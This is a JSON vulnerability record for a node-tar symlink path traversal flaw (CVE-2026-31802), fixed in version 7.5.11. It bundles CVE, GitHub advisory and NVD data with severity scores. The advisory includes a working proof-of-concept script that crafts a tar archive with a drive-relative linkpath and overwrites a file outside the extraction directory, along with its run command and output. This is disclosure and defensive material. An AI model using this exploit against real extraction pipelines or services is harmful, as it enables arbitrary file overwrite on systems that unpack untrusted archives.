{"id":"CVE-2026-31802","aliases":["CVE-2026-31802","GHSA-9ppj-qmqm-q256"],"related":[],"kind":"vulnerability","state":"published","title":"node-tar Symlink Path Traversal via Drive-Relative Linkpath","summary":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.","source":"cvelist"},{"lang":"en","text":"### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(cwd, 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({\n  path: 'a/b/l',\n  type: 'SymbolicLink',\n  linkpath: 'C:../../../target.txt',\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt\n.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files","format":"markdown","source":"ghsa"},{"lang":"es","text":"node-tar es una implementación completa de Tar para Node.js. Antes de la versión 7.5.11, tar (npm) puede ser engañado para crear un enlace simbólico que apunta fuera del directorio de extracción utilizando un destino de enlace simbólico relativo a la unidad, como C:../../../target.txt, lo que permite la sobrescritura de archivos fuera del directorio de trabajo actual (cwd) durante la extracción normal de tar.x(). Esta vulnerabilidad está corregida en la versión 7.5.11.","source":"nvd"}],"published":"2026-03-09T21:11:56.668Z","modified":"2026-09-10T03:50:38.398Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","score":5.5,"rating":"MEDIUM"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 7.5.11","status":"affected"}],"vendor":"isaacs","product":"node-tar","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.5.11"}],"ecosystem":"npm","package":"tar","purl":"pkg:npm/tar","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"7.5.11"}],"vendor":"isaacs","product":"tar","cpe":"cpe:2.3:a:isaacs:tar:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad","tags":["vendor-advisory","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31802","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/isaacs/node-tar","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-03-10T14:56:31.266Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-31802","url":"https://www.cve.org/CVERecord?id=CVE-2026-31802","licence":"CVE Terms of Use","modified":"2026-03-10T14:56:35.229Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9ppj-qmqm-q256","url":"https://github.com/advisories/GHSA-9ppj-qmqm-q256","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:38.398Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-31802","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31802","licence":"Public domain","modified":"2026-06-17T10:34:29.490Z"}],"updatedAt":"2026-11-25T22:59:15.554Z","epss":{"score":0.00287,"percentile":0.22858,"date":"2026-12-01T12:00:22.000Z"}}